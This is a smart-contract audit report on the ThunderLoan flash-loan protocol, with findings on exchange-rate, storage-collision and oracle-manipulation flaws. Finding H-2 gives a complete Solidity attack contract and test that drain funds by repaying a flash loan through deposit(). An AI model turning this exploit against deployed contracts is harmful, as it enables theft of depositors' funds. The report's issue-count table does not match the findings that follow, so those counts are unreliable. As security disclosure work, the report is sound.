Protocol Audit Report

Version 1.0

March 19, 2024

Protocol Audit Report

Shurjeel Khan

March 7, 2024

Prepared by: Lead Auditors:

- Shurjeel Khan

Table of Contents

Protocol Summary

The `ThunderLoan` protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

The Shurjeel Khan makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
```

```
4 |   #-- ITSwapPool.sol
5 |   #-- IThunderLoan.sol
6 #-- protocol
7 |   #-- AssetToken.sol
8 |   #-- OracleUpgradeable.sol
9 |   #-- ThunderLoan.sol
10 #-- upgradedProtocol
11     #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	3
Info	1
Gas	0
Total	9

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function cause protocol to think it has more fees than it actually does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` function is responsible for calculating the exchange rate between assetToken and Underlying token.

However, the `deposit` function does updates this rate, without collecting the fees!

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit high we shouldn't be updating the exchange rate here!
@>        uint256 calculatedFee = getCalculatedFee(token, amount);
@>       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact:

1. The `redeem` function is blocked, the protocol thinks the owed token is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers getting way more or less then deserves

Proof of Concept:

POC

Place the following the `ThunderLoanTest.t.sol`

```
function testRedeem() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Removed the incorrectly updated exchange rate line in the `deposit`

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
```

```
3           uint256 exchangeRate = assetToken.getExchangeRate();
4           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
5           emit Deposit(msg.sender, token, amount);
6           assetToken.mint(msg.sender, mintAmount);
7
8           // @audit high we shouldn't be updating the exchange rate here!
9   -        uint256 calculatedFee = getCalculatedFee(token, amount);
10  -        assetToken.updateExchangeRate(calculatedFee);
11
12          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
13      }
```

[H-2] All the funds can be stolen if the flash loan is returned using deposit()

Summary An attacker can acquire a flash loan and deposit funds directly into the contract using the `deposit()`, enabling stealing all the funds.

Vulnerability Details The `flashloan()` performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing `endingBalance` with `startingBalance + fee`. However, a vulnerability emerges when calculating endingBalance using `token.balanceOf(address(assetToken))`.

Exploiting this vulnerability, an attacker can return the flash loan using the `deposit()` instead of `repay()`. This action allows the attacker to mint `AssetToken` and subsequently redeem it using `redeem()`. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

POC

To execute the test successfully, please complete the following steps:

1. Place the `attack.sol` file within the mocks folder.
2. Import the contract in `ThunderLoanTest.t.sol`.
3. Add `testattack()` function in `ThunderLoanTest.t.sol`.
4. Change the `setUp()` function in `ThunderLoanTest.t.sol`.

```
1 import { Attack } from "../mocks/attack.sol";
```

```
function testattack() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        vm.startPrank(user);
        tokenA.mint(address(attack), AMOUNT);
        thunderLoan.flashloan(address(attack), tokenA, amountToBorrow,
            "");
        attack.sendAssetToken(address(thunderLoan.getAssetFromToken(
            tokenA)));
        thunderLoan.redeem(tokenA, type(uint256).max);
        vm.stopPrank();

        assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken
            (tokenA))), DEPOSIT_AMOUNT);
    }
```

```
function setUp() public override {
        super.setUp();
        vm.prank(user);
        mockFlashLoanReceiver = new MockFlashLoanReceiver(address(
            thunderLoan));
        vm.prank(user);
        attack = new Attack(address(thunderLoan));
    }
```

attack.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
    ;
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
    SafeERC20.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/
    IFlashLoanReceiver.sol";

interface IThunderLoan {
    function repay(address token, uint256 amount) external;
    function deposit(IERC20 token, uint256 amount) external;
    function getAssetFromToken(IERC20 token) external;
}


contract Attack {
    error MockFlashLoanReceiver__onlyOwner();
    error MockFlashLoanReceiver__onlyThunderLoan();

    using SafeERC20 for IERC20;

    address s_owner;
```

```
22      address s_thunderLoan;
23
24      uint256 s_balanceDuringFlashLoan;
25      uint256 s_balanceAfterFlashLoan;
26
27      constructor(address thunderLoan) {
28          s_owner = msg.sender;
29          s_thunderLoan = thunderLoan;
30          s_balanceDuringFlashLoan = 0;
31      }
32
33      function executeOperation(
34          address token,
35          uint256 amount,
36          uint256 fee,
37          address initiator,
38          bytes calldata /*  params */
39      )
40          external
41          returns (bool)
42      {
43          s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
                ));
44
45          if (initiator != s_owner) {
46              revert MockFlashLoanReceiver__onlyOwner();
47          }
48
49          if (msg.sender != s_thunderLoan) {
50              revert MockFlashLoanReceiver__onlyThunderLoan();
51          }
52          IERC20(token).approve(s_thunderLoan, amount + fee);
53          IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee
                );
54          s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)
                );
55          return true;
56      }
57
58      function getbalanceDuring() external view returns (uint256) {
59          return s_balanceDuringFlashLoan;
60      }
61
62      function getBalanceAfter() external view returns (uint256) {
63          return s_balanceAfterFlashLoan;
64      }
65
66      function sendAssetToken(address assetToken) public {
67
68          IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).
                balanceOf(address(this)));
```

```
69         }
70     }
```

Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher.

Impact

All the funds of the AssetContract can be stolen.

Tools Used

Manual review.

Recommendations

Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

[H-3] Storage Collision during upgrade

Description: `Thunderloan.sol` at slot 1,2 and 3 holds `s_feePrecision`, `s_flashLoanFee` and `s_currentlyFlashLoaning`, respectively, but the `ThunderLoanUpgraded` at slot 1 and 2 holds `s_flashLoanFee`, `s_currentlyFlashLoaning` respectively. the `s_feePrecision` from the `thunderloan.sol` was changed to a constant variable which will no longer be assessed from the state variable. This will cause the location at which the upgraded version will be pointing to for some significant state variables like s_flashLoanFee to be wrong because `s_flashLoanFee` is now pointing to the slot of the `s_feePrecision` in the `thunderloan.sol` and when this fee is used to compute the fee for `flashloan` it will return a fee amount greater than the intention of the developer. `s_currentlyFlashLoaning` might not really be affected as it is back to default when a flashloan is completed but still to be noted that the value at that slot can be cleared to be on a safer side.

```
1       uint256 private s_feePrecision;
2       uint256 private s_flashLoanFee; // 0.3% ETH fee
```

```
1       uint256 private s_flashLoanFee; // 0.3% ETH fee
2       uint256 public constant FEE_PRECISION = 1e18;
```

Impact:

1. Fee is miscalculated for flashloan
2. users pay same amount of what they borrowed as fee

Proof of Concept:

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
import { ThunderLoanUpgraded } from "src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
.
function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        console2.log("Before upgrade: ", feeBeforeUpgrade);
        console2.log("After upgrade: ", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

Recommended Mitigation:

The team should should make sure the the fee is pointing to the correct location as intended by the developer: a suggestion recommendation is for the team to get the feeValue from the previous implementation, clear the values that will not be needed again and after upgrade reset the fee back to its previous value from the implementation. ##POC for recommendation

```
//
 function upgradeThunderloanFixed() internal {
        thunderLoanUpgraded = new ThunderLoanUpgraded();
        //getting the current fee;
        uint fee = thunderLoan.getFee();
        // clear the fee as
        thunderLoan.updateFlashLoanFee(0);
        // upgrade to the new implementation
        thunderLoan.upgradeTo(address(thunderLoanUpgraded));
        //wrapped the abi
        thunderLoanUpgraded = ThunderLoanUpgraded(address(proxy));
        // set the fee back to the correct value
        thunderLoanUpgraded.updateFlashLoanFee(fee);
```

```
    }


function testSlotValuesFixedfterUpgrade() public setAllowedToken {
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
        uint precision = thunderLoan.getFeePrecision();
        uint fee = thunderLoan.getFee();
        bool isflanshloaning = thunderLoan.isCurrentlyFlashLoaning(tokenA);
        /// 4 slots before upgrade
        console.log("????SLOTS VALUE BEFORE UPGRADE????");
        console.log("slot 0 for s_tokenToAssetToken =>", address(asset));
        console.log("slot 1 for s_feePrecision =>", precision);
        console.log("slot 2 for s_flashLoanFee =>", fee);
        console.log("slot 3 for s_currentlyFlashLoaning =>", isflanshloaning);
        //upgrade function
        upgradeThunderloanFixed();

        //// after upgrade they are only 3 valid slot left because precision is now set to constant
        AssetToken assetUpgrade = thunderLoan.getAssetFromToken(tokenA);
        uint feeUpgrade = thunderLoan.getFee();
        bool isflanshloaningUpgrade = thunderLoan.isCurrentlyFlashLoaning(
            tokenA
        );

        console.log("????SLOTS VALUE After UPGRADE????");
        console.log("slot 0 for s_tokenToAssetToken =>", address(assetUpgrade));
        console.log("slot 1 for s_flashLoanFee =>", feeUpgrade);
        console.log(
            "slot 2 for s_currentlyFlashLoaning =>",
            isflanshloaningUpgrade
        );
        assertEq(address(asset), address(assetUpgrade));
        //asserting precision value before upgrade to be what fee takes after upgrades
        assertEq(fee, feeUpgrade); // #POC
        assertEq(isflanshloaning, isflanshloaningUpgrade);
    }
```

Add the code above to thunderloantest.t.sol and run with `forge test --mt testSlotValuesFixedfterUpg -vv`. it can also be tested with `testFlashLoanAfterUpgrade function` and see the fee properly calculated for flashloan

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
1      function getPriceInWeth(address token) public view returns (uint256
           ) {
2          address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
               token);
3  @>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
       ();
4      }
```

```
1  3. The user then repays the first flash loan, and then repays the
       second flash loan.
```

I have created a proof of code located in my `audit-data` folder. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] Centralization risk for trusted owners

Impact:

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

```

```
138:     function initialize(address tswapAddress) external initializer
    {

138:     function initialize(address tswapAddress) external initializer
    {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                                | % Lines        | % Statements
   | % Branches    | % Funcs        |
| ----------------------------------- | -------------- | --------------
   | ------------- | -------------- |
| src/protocol/AssetToken.sol         | 70.00% (7/10)  | 76.92% (10/13)
   | 50.00% (1/2)  | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
   | 100.00% (0/0) | 80.00% (4/5)   |
```

```
| src/protocol/ThunderLoan.sol        | 64.52% (40/62) | 68.35% (54/79)
    | 37.50% (6/16) | 71.43% (10/14) |
```

[I-2] Not using `__gap[50]` for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] Doesn't follow `https://eips.ethereum.org/EIPS/eip-3156`

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from "false" to "true", after having been "true" in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```